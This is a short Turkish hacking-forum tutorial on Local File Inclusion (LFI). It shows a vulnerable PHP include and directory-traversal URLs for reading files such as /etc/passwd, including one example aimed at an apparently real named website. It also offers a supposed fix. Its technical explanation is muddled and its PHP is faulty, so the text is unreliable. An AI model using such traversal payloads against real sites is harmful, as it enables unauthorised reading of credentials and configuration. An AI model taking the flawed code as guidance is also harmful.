1 ) LFI nedir ?
THE_MILLER

Lfı uzaktan servera dosya ekleme dahil etme anlamına gelir.

2 ) Rfi Kadar etkilimidir ?
THE_MILLER

Rfi kadar etkili olamasada yeterlidir.

Kullanımını Anlatayım

THE_MILLER
<?php
include ('data/$miller/function.php');
?>

burda gördünüz gibi rfi olarak düşünürsen miller
tanımlanmamış .

fakat bu lfi de shell olarak kullanılamaz tanımlanmayan degişken (miller)kullanılarak dosya okunabilir yukarıdaki kodu robot.php olarak kaydedin

Daha sonra

http://www.herhangisite.com/robot.php?miller=../../../TurkHackTeam

dosyası okunabilir izin varsa okunur bu
açıkla neler yapılır ?

etc/passwd , config okuruz ya da ftp alırız ...

LFI açığını Nasıl Kapatırız ?
THE_MILLER

<?php
$miller='sdwd'
include ('data/$miller/function.php');
?>
THE_MILLER

bu kod sayesinde açık kapaır çünkü miller 'i burda tanımladık

http://www.herhangisite.com/robot.php?miller=../../../TurkHackTEam

yaptığınız an LFI çalışmaz

Örnek LFI :

THE_MILLER

http://charlotte-wilson.net/view.ph.....%2F..% 2F..%2F..%2F..%2Fetc%2Fpasswd